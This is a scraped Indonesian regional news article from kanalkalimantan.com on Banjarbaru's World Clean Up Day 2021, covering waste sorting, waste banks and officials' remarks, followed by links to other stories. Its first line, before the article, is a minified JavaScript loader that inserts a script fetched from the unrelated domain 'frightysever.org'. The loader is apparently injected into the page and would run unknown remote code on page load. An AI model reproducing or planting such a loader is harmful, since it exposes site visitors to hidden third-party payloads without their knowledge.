(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Puncak peringatan World Clean Up Day (WCD) 2021 di Kota Banjarbaru dilaksanakan lingkungan kediaman Wakil Wali Kota Banjarbaru Wartono, di Kelurahan Kemuning, Kecamatan Banjarbaru Selatan, Jumat (24/9/2021)
Gerakan global ini mengajak semua individu, komunitas , dunia usaha, dan pemerintah untuk menyatakan kepedulian dan perubahan perilaku masyarakat dalam pengelolaan sampah.
Wali Kota Banjarbaru, H M Aditya Mufti Ariffin mengatakan, dalam kegiatan WCD melakukan pilah sampah di Kota Banjarbaru. Ada 130 lebih bank sampah yang ada dan yang masih hingga sekarang karena ada beberapa terkendala pandemi Covid-19 ada 30 bank sampah di Kota Banjarbaru.
“Dalam WCD ini Pemko sudah melakukan pilah sampah dan pengiriman sampah ke Regional, akan dilakukan pengolahan sampah,” ucapnya.
Baca juga : BREAKING NEWS: Dijemput Paksa, Azis Syamsuddin Digelandang KPK di Jumat Keramat!
Wali Kota mengharapkan dengan adanya WCD 2021 bumi Kalimantan Selatan khususnya Banjarbaru bisa melestarikan lingkungan agar bisa mengembalikan ekosistem yang lestari.
Sementara itu Kepala Dinas Lingkungan Hidup (DLH), Sirajoni menerangkan ada beberapa agenda yang sudah dilakukan DLH bersama penggiat lingkungan. Di antara bersih-bersih sungai Kemuning, lingkungan masyarakat, sekolah, tempat ibadah, dan lingkungan kantor.
“Sampah dari hasil WCD ini terkumpul sekitar 6 Ton dan sampah anorganik sekitar 1 ton, kegiatan ini akan terus berlanjut,” ucapnya.
Sirajoni menambahkan untuk mengaktifkan lagi Bank Sampah yang masih tidak aktif, DLH sudah melakukan pendekatan dan memberikan imbauan pelayanan seperti biasanya.
Baca juga : Dewan Pers Jadwal ke Kalsel, 8 Media Online-JMSI Kalsel Siap Verifikasi Faktual
Salah satu penggagas relawan kebersihan di Kota Banjarbaru, Kusnowadi yang tergabung dalam relawan ST-12 (Serbu Tanam 12 orang) berharap untuk masyarakat Kota Banjarbaru khususnya, dan masyarakat Kalimantan Selatan untuk sudah memulai untuk memilah sampah dari dapur sebelum di buang ke tempat sampah. Pihaknya pun terus melakukan penyuluhan.
“Kami terus memperjuangkan kebersihan lingkungan di Kota Banjarbaru, karena fondasi utamanya itu berhasilnya dari rumah tangga,” ungkap relawan ST-12 ini.
Kegiatan ini diakhiri dengan penimbangan sampah secara simbolis, penerimaan pupuk kompos dan ATM Bank Sampah oleh Wali Kota dan Wakil Wali Kota Banjarbaru dari Bank Sampah Melati. (kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor: cell
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.